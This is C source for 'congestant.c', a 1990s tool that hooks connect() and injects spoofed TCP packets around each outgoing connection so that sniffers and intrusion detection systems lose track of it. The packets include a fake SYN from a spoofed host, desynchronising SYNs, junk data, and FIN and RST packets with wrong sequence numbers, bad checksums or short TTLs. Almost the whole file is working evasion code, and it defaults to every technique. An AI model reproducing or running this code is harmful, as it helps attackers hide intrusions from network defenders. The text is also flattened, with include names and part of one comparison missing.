/* * congestant.c - demonstration of sniffer/ID defeating techniques * * by horizon * special thanks to stran9er, mea culpa, plaguez, halflife, and fyodor * * openbsd doesn't let us do shared lib redirection, so we implement the * connect system call directly. Also, the kernel support for certain attacks * is only implemented in openbsd. When I finish the linux support, it will * be available at http://www.rhino9.ml.org * * This whole thing is a conditionally compiling nightmare. :> * This has been tested under OpenBSD 2.3, 2.4, Solaris 2.5, Solaris 2.5.1, * Solaris 2.6, Debian Linux, and the glibc Debian Linux */ /* The path to our libc. (libsocket under Solaris) */ /* You don't need this if you are running OpenBSD */ /* #define LIB_PATH "/usr/lib/libsocket.so" */ #define LIB_PATH "/lib/libc-2.0.7.so" /* #define LIB_PATH "/usr/lib/libc.so" */ /* The source of our initial spoofed SYN in the One Host Design attack */ /* This has to be some host that will survive any outbound packet filters */ #define FAKEHOST "42.42.42.42" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #if __linux__ #include #endif #include struct cong_config { int one_host_attack; int fin_seq; int rst_seq; int syn_seq; int data_seq; int data_chk; int fin_chk; int rst_chk; int syn_chk; int data_ttl; int fin_ttl; int rst_ttl; int ttl; } cong_config; int cong_init=0; int cong_debug=0; long cong_ttl_cache=0; int cong_ttl=0; /* If this is not openbsd, then we will use the connect symbol from libc */ /* otherwise, we will use syscall(SYS_connect, ...) */ #ifndef __OpenBSD__ #if __GLIBC__ == 2 int (*cong_connect)(int, __CONST_SOCKADDR_ARG, socklen_t)=NULL; #else int (*cong_connect)(int, const struct sockaddr *, int)=NULL; #endif #endif /* not openbsd */ #define DEBUG(x) if (cong_debug==1) fprintf(stderr,(x)); /* define our own headers so its easier to port. use cong_ to avoid any * potential symbol name collisions */ struct cong_ip_header { unsigned char ip_hl:4, /* header length */ ip_v:4; /* version */ unsigned char ip_tos; /* type of service */ unsigned short ip_len; /* total length */ unsigned short ip_id; /* identification */ unsigned short ip_off; /* fragment offset field */ #define IP_RF 0x8000 /* reserved fragment flag */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ unsigned char ip_ttl; /* time to live */ unsigned char ip_p; /* protocol */ unsigned short ip_sum; /* checksum */ unsigned long ip_src, ip_dst; /* source and dest address */ }; struct cong_icmp_header /* this is really an echo */ { unsigned char icmp_type; unsigned char icmp_code; unsigned short icmp_checksum; unsigned short icmp_id; unsigned short icmp_seq; unsigned long icmp_timestamp; }; struct cong_tcp_header { unsigned short th_sport; /* source port */ unsigned short th_dport; /* destination port */ unsigned int th_seq; /* sequence number */ unsigned int th_ack; /* acknowledgement number */ #if BYTE_ORDER == LITTLE_ENDIAN unsigned char th_x2:4, /* (unused) */ th_off:4; /* data offset */ #endif #if BYTE_ORDER == BIG_ENDIAN unsigned char th_off:4, /* data offset */ th_x2:4; /* (unused) */ #endif unsigned char th_flags; #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 #define TH_PUSH 0x08 #define TH_ACK 0x10 #define TH_URG 0x20 unsigned short th_win; /* window */ unsigned short th_sum; /* checksum */ unsigned short th_urp; /* urgent pointer */ }; struct cong_pseudo_header { unsigned long saddr, daddr; char mbz; char ptcl; unsigned short tcpl; }; int cong_checksum(unsigned short* data, int length) { register int nleft=length; register unsigned short *w = data; register int sum=0; unsigned short answer=0; while (nleft>1) { sum+=*w++; nleft-=2; } if (nleft==1) { *(unsigned char *)(&answer) = *(unsigned char *)w; sum+=answer; } sum=(sum>>16) + (sum & 0xffff); sum +=(sum>>16); answer=~sum; return answer; } #define PHLEN (sizeof (struct cong_pseudo_header)) #define IHLEN (sizeof (struct cong_ip_header)) #define ICMPLEN (sizeof (struct cong_icmp_header)) #define THLEN (sizeof (struct cong_tcp_header)) /* Utility routine for the ttl attack. Sends an icmp echo */ void cong_send_icmp(long source, long dest, int seq, int id, int ttl) { struct sockaddr_in sa; int sock,packet_len; char *pkt; struct cong_ip_header *ip; struct cong_icmp_header *icmp; int on=1; if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(1); } if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) { perror("setsockopt: IP_HDRINCL"); exit(1); } bzero(&sa,sizeof(struct sockaddr_in)); sa.sin_addr.s_addr = dest; sa.sin_family = AF_INET; pkt=calloc((size_t)1,(size_t)(IHLEN+ICMPLEN)); ip=(struct cong_ip_header *)pkt; icmp=(struct cong_icmp_header *)(pkt+IHLEN); ip->ip_v = 4; ip->ip_hl = IHLEN >>2; ip->ip_tos = 0; ip->ip_len = htons(IHLEN+ICMPLEN); ip->ip_id = htons(getpid() & 0xFFFF); ip->ip_off = 0; ip->ip_ttl = ttl; ip->ip_p = IPPROTO_ICMP ;//ICMP ip->ip_sum = 0; ip->ip_src = source; ip->ip_dst = dest; icmp->icmp_type=8; icmp->icmp_seq=htons(seq); icmp->icmp_id=htons(id); icmp->icmp_checksum=cong_checksum((unsigned short*)icmp,ICMPLEN); if(sendto(sock,pkt,IHLEN+ICMPLEN,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) { perror("sendto"); } free(pkt); close(sock); } /* Our main worker routine. sends a TCP packet */ void cong_send_tcp(long source, long dest,short int sport, short int dport, long seq, long ack, int flags, char *data, int dlen, int cksum, int ttl) { struct sockaddr_in sa; int sock,packet_len; char *pkt,*phtcp; struct cong_pseudo_header *ph; struct cong_ip_header *ip; struct cong_tcp_header *tcp; int on=1; if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(1); } if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) { perror("setsockopt: IP_HDRINCL"); exit(1); } bzero(&sa,sizeof(struct sockaddr_in)); sa.sin_addr.s_addr = dest; sa.sin_family = AF_INET; sa.sin_port = dport; phtcp=calloc((size_t)1,(size_t)(PHLEN+THLEN+dlen)); pkt=calloc((size_t)1,(size_t)(IHLEN+THLEN+dlen)); ph=(struct cong_pseudo_header *)phtcp; tcp=(struct cong_tcp_header *)(((char *)phtcp)+PHLEN); ip=(struct cong_ip_header *)pkt; ph->saddr=source; ph->daddr=dest; ph->mbz=0; ph->ptcl=IPPROTO_TCP; ph->tcpl=htons(THLEN + dlen); tcp->th_sport=sport; tcp->th_dport=dport; tcp->th_seq=seq; tcp->th_ack=ack; tcp->th_off=THLEN/4; tcp->th_flags=flags; if (ack) tcp->th_flags|=TH_ACK; tcp->th_win=htons(16384); memcpy(&(phtcp[PHLEN+THLEN]),data,dlen); tcp->th_sum=cong_checksum((unsigned short*)phtcp,PHLEN+THLEN+dlen)+cksum; ip->ip_v = 4; ip->ip_hl = IHLEN >>2; ip->ip_tos = 0; ip->ip_len = htons(IHLEN+THLEN+dlen); ip->ip_id = htons(getpid() & 0xFFFF); ip->ip_off = 0; ip->ip_ttl = ttl; ip->ip_p = IPPROTO_TCP ;//TCP ip->ip_sum = 0; ip->ip_src = source; ip->ip_dst = dest; ip->ip_sum = cong_checksum((unsigned short*)ip,IHLEN); memcpy(((char *)(pkt))+IHLEN,(char *)tcp,THLEN+dlen); if(sendto(sock,pkt,IHLEN+THLEN+dlen,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) { perror("sendto"); } free(phtcp); free(pkt); close(sock); } /* Utility routine for data insertion attacks */ void cong_send_data(long source, long dest,short int sport, short int dport, long seq, long ack, int chk, int ttl) { char data[1024]; int i,j; for (i=0;i<8;i++) { for (j=0;j<1024;data[j++]=random()); cong_send_tcp(source, dest, sport, dport, htonl(seq+i*1024), htonl(ack), TH_PUSH, data, 1024, chk, ttl); } } /* Utility routine for the ttl attack - potentially unreliable */ /* This could be rewritten to look for the icmp ttl exceeded and count * the number of packets it receives, thus going much quicker. */ int cong_find_ttl(long source, long dest) { int sock; long timestamp; struct timeval tv,tvwait; int ttl=0,result=255; char buffer[8192]; int bread; fd_set fds; struct cong_ip_header *ip; struct cong_icmp_header *icmp; if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) { perror("socket"); exit(1); } tvwait.tv_sec=0; tvwait.tv_usec=500; gettimeofday(&tv,NULL); timestamp=tv.tv_sec+3; // 3 second timeout DEBUG("Determining ttl..."); while(tv.tv_sec<=timestamp) { gettimeofday(&tv,NULL); if (ttl<50) { cong_send_icmp(source,dest,ttl,1,ttl); cong_send_icmp(source,dest,ttl,1,ttl); cong_send_icmp(source,dest,ttl,1,ttl++); } FD_ZERO(&fds); FD_SET(sock,&fds); select(sock+1,&fds,NULL,NULL,&tvwait); if (FD_ISSET(sock,&fds)) { if (bread=read(sock,buffer,sizeof(buffer))) { /* should we practice what we preach? nah... too much effort :p */ ip=(struct cong_ip_header *)buffer; if (ip->ip_src!=dest) continue; icmp=(struct cong_icmp_header *)(buffer + ((ip->ip_hl)<<2)); if (icmp->icmp_type!=0) continue; if (ntohs(icmp->icmp_seq)icmp_seq); } } } if (cong_debug) fprintf(stderr,"%d\n",result); close(sock); return result; } /* This is our init routine - reads conf env var*/ /* On the glibc box I tested, you cant dlopen from within * _init, so there is a little hack here */ #if __GLIBC__ == 2 int cong_start(void) #else int _init(void) #endif { void *handle; char *conf; #ifndef __OpenBSD__ handle=dlopen(LIB_PATH,1); if (!handle) { fprintf(stderr,"Congestant Error: Can't load libc.\n"); return 0; } #if __linux__ || (__svr4__ && __sun__) || sgi || __osf__ cong_connect = dlsym(handle, "connect"); #else cong_connect = dlsym(handle, "_connect"); #endif if (!cong_connect) { fprintf(stderr,"Congestant Error: Can't find connect().\n"); return -1; } #endif /* not openbsd */ memset(&cong_config,0,sizeof(struct cong_config)); if (conf=getenv("CONGCONF")) { char *token; token=strtok(conf,","); while (token) { if (!strcmp(token,"OH")) cong_config.one_host_attack=1; else if (!strcmp(token,"FS")) cong_config.fin_seq=1; else if (!strcmp(token,"RS")) cong_config.rst_seq=1; else if (!strcmp(token,"SS")) cong_config.syn_seq=1; else if (!strcmp(token,"DS")) cong_config.data_seq=1; else if (!strcmp(token,"FC")) cong_config.fin_chk=1; else if (!strcmp(token,"RC")) cong_config.rst_chk=1; else if (!strcmp(token,"SC")) cong_config.syn_chk=1; else if (!strcmp(token,"DC")) cong_config.data_chk=1; else if (!strcmp(token,"FT")) { cong_config.fin_ttl=1; cong_config.ttl=1; } else if (!strcmp(token,"RT")) { cong_config.rst_ttl=1; cong_config.ttl=1; } else if (!strcmp(token,"DT")) { cong_config.data_ttl=1; cong_config.ttl=1; } else if (!strcmp(token,"DEBUG")) cong_debug=1; token=strtok(NULL,","); } } else /* default to full sneakiness */ { cong_config.one_host_attack=1; cong_config.fin_seq=1; cong_config.rst_seq=1; cong_config.syn_seq=1; cong_config.data_seq=1; cong_config.syn_chk=1; cong_debug=1; /* assume they have kernel support */ /* attacks are only compiled in under obsd*/ cong_config.data_chk=1; cong_config.fin_chk=1; cong_config.rst_chk=1; cong_config.data_ttl=1; cong_config.fin_ttl=1; cong_config.rst_ttl=1; cong_config.ttl=1; } cong_init=1; } /* This is our definition of connect */ #if (__svr4__ && __sun__) int connect (int __fd, struct sockaddr * __addr, int __len) #else #if __GLIBC__ == 2 int connect __P ((int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)) #else int connect __P ((int __fd, const struct sockaddr * __addr, int __len)) #endif #endif { int result,nl; struct sockaddr_in sa; long from,to; short src,dest; unsigned long fakeseq=424242; int type=SOCK_STREAM; unsigned long realseq=0; unsigned long recvseq=0; int ttl=255,ttlseq; #if __GLIBC__ == 2 if (cong_init==0) cong_start(); #endif if (cong_init++==1) fprintf(stderr,"Congestant v1 by horizon loaded.\n"); /* quick hack so we dont waste time with udp connects */ #ifdef KERNELSUPPORT #ifdef __OpenBSD__ syscall(242,__fd,&type,&realseq,&recvseq); #endif /* openbsd */ if (type!=SOCK_STREAM) { result=syscall(SYS_connect,__fd,__addr,__len); return result; } #endif /* kernel support */ nl=sizeof(sa); getsockname(__fd,(struct sockaddr *)&sa,&nl); from=sa.sin_addr.s_addr; src=sa.sin_port; #if __GLIBC__ == 2 to=__addr.__sockaddr_in__->sin_addr.s_addr; dest=__addr.__sockaddr_in__->sin_port; #else to=((struct sockaddr_in *)__addr)->sin_addr.s_addr; dest=((struct sockaddr_in *)__addr)->sin_port; #endif if (cong_config.one_host_attack) { cong_send_tcp(inet_addr(FAKEHOST), to, 4242, dest, 0, 0, TH_SYN, NULL, 0, 0, 254); DEBUG("Spoofed Fake SYN Packet\n"); } if (cong_config.syn_chk) { /* This is a potential problem that could mess up * client programs. If necessary, we bind the socket * so that we can know what the source port will be * prior to the connection. */ if (src==0) { bind(__fd,(struct sockaddr *)&sa,nl); getsockname(__fd,(struct sockaddr *)&sa,&nl); from=sa.sin_addr.s_addr; src=sa.sin_port; } cong_send_tcp(from, to, src, dest, htonl(fakeseq), 0, TH_SYN, NULL, 0,100, 254); DEBUG("Sent Pre-Connect Desynchronizing SYN.\n"); fakeseq++; } DEBUG("Connection commencing...\n"); #ifndef __OpenBSD__ result=cong_connect(__fd,__addr,__len); #else /* not openbsd */ result=syscall(SYS_connect,__fd,__addr,__len); #endif if (result==-1) { if (errno!=EINPROGRESS) return -1; /* Let's only print the warning once */ if (cong_init++==2) fprintf(stderr,"Warning: Non-blocking connects might not work right.\n"); } /* In case an ephemeral port was assigned by connect */ nl=sizeof(sa); getsockname(__fd,(struct sockaddr *)&sa,&nl); from=sa.sin_addr.s_addr; src=sa.sin_port; if (cong_config.syn_seq) { cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_SYN, NULL, 0, 0, 254); cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_SYN, NULL, 0, 0, 254); DEBUG("Sent Desynchronizing SYNs.\n"); } if (cong_config.data_seq) { cong_send_data(from,to,src,dest,(fakeseq),0,0,254); DEBUG("Inserted 8K of data with incorrect sequence numbers.\n"); fakeseq+=8*1024; } if (cong_config.fin_seq) { cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_FIN, NULL, 0, 0, 254); cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_FIN, NULL, 0, 0, 254); DEBUG("Spoofed FINs with incorrect sequence numbers.\n"); } if (cong_config.rst_seq) { cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_RST, NULL, 0, 0, 254); cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0, TH_RST, NULL, 0, 0, 254); DEBUG("Spoofed RSTs with incorrect sequence numbers.\n"); } #ifdef KERNELSUPPORT #ifdef __OpenBSD__ if (cong_config.ttl==1) if (cong_ttl_cache!=to) { ttl=cong_find_ttl(from,to)-1; cong_ttl_cache=to; cong_ttl=ttl; } else ttl=cong_ttl; if (ttl<0) { fprintf(stderr,"Warning: The target host is too close for a ttl attack.\n"); cong_config.data_ttl=0; cong_config.fin_ttl=0; cong_config.rst_ttl=0; ttl=0; } syscall(242,__fd,&type,&realseq,&recvseq); ttlseq=realseq; #endif /*openbsd */ if (cong_config.data_ttl) { cong_send_data(from,to,src,dest,(ttlseq),recvseq,0,ttl); DEBUG("Inserted 8K of data with short ttl.\n"); ttlseq+=1024*8; } if (cong_config.fin_ttl) { cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_FIN, NULL, 0, 0, ttl); cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_FIN, NULL, 0, 0, ttl); DEBUG("Spoofed FINs with short ttl.\n"); } if (cong_config.rst_ttl) { cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_RST, NULL, 0, 0, ttl); cong_send_tcp(from, to, src, dest, htonl(ttlseq++), htonl(recvseq),TH_RST, NULL, 0, 0, ttl); DEBUG("Spoofed RSTs with short ttl.\n"); } if (cong_config.data_chk) { cong_send_data(from,to,src,dest,(realseq),recvseq,100,254); DEBUG("Inserted 8K of data with incorrect TCP checksums.\n"); realseq+=1024*8; } if (cong_config.fin_chk) { cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_FIN, NULL, 0, 100, 254); cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_FIN, NULL, 0, 100, 254); DEBUG("Spoofed FINs with incorrect TCP checksums.\n"); } if (cong_config.rst_chk) { cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_RST, NULL, 0, 100, 254); cong_send_tcp(from, to, src, dest, htonl(realseq++), htonl(recvseq),TH_RST, NULL, 0, 100, 254); DEBUG("Spoofed RSTs with incorrect TCP checksums.\n"); } #endif /* kernel support */ return result; }